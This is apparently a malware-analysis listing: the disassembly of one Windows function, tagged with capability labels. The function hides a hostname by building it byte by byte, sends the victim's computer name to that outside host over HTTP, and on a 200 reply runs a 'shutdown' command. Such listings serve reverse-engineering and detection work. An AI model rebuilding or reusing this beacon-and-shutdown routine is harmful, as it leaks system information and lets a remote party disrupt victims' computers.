Function at 0x401180
Capabilities:
Create process on windows
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x401b10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x10], esp
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x48]
push eax
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x20]
push edx
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::MakeLower
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4000000
push 0
push 0
push 0
push 1
push str.sndver
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CInternetSession::CInternetSession
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_2
push 0x65
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::operator_2
push 0x6c
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x73
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x74
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x65
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x63
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x68
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x2e
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x6f
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x6e
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x6f
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x73
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x6c
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x6f
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x2e
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x66
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x72
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_2
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x1db4
push 0
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CInternetSession::GetHttpConnection
mov edi, eax
push str.Content_Type:_application_x_www_form_urlencoded
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x30], edi
mov dword [ebp - 4], 2
call fcn.004017ba
push 0x4030a0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.004017ba
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00401814
push 0x403098
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::operator
push 0x403100
lea ecx, [ebp - 0x1c]
call fcn.00401814
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_2
push 0x403094
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::operator
push 0x403090
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40308c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403088
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403084
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403080
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40307c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403078
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403074
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403094
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403090
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40308c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403088
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403084
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403080
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40307c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403078
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403070
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403084
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40306c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40306c
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403068
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push str.i_l._revdnsxw
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x403084
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
mov edx, dword [ebp - 0x14]
push 0x20000000
push 0
push 0
push 1
push 0
push edx
push 0
mov ecx, edi
call sub.MFC42.DLL_CHttpConnection::OpenRequest
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 8
mov ecx, dword [eax - 8]
push ecx
push eax
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CHttpFile::SendRequest
jmp 0x4014c1
test eax, eax
mov dword [ebp - 4], 7
jne 0x4014e9
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x14]
test edi, edi
je 0x4015de
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax + 4]
jmp 0x4015de
lea ecx, [ebp - 0x34]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CHttpFile::QueryInfoStatusCode
mov eax, dword [ebp - 0x34]
xor ebx, ebx
cmp eax, 0xc8
jne 0x401584
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x38]
lea ecx, [ebp - 0x24]
mov ebx, eax
call sub.MFC42.DLL_CString::CString_2
test ebx, ebx
mov byte [ebp - 4], 0xa
jbe 0x401543
mov eax, dword [esi]
lea ecx, [ebp - 0x2c]
push 1
push ecx
mov ecx, esi
mov byte [ebp - 0x2c], 0x20
call dword [eax + 0x3c]
test eax, eax
je 0x401543
jl 0x401543
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
push edx
call sub.MFC42.DLL_CString::operator_2
dec ebx
jne 0x40151d
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x30]
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xb
push ecx
lea ecx, [ebp - 0x38]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x38]
mov ebx, 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::CString
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x54]
test esi, esi
je 0x401598
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 4]
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x14]
test edi, edi
je 0x4015ac
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x5c]
call sub.MFC42.DLL_CInternetSession::Close
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x4015de
push 1
push 0
push 0x403060
push str.shutdown
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0
call fcn.004017e4
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret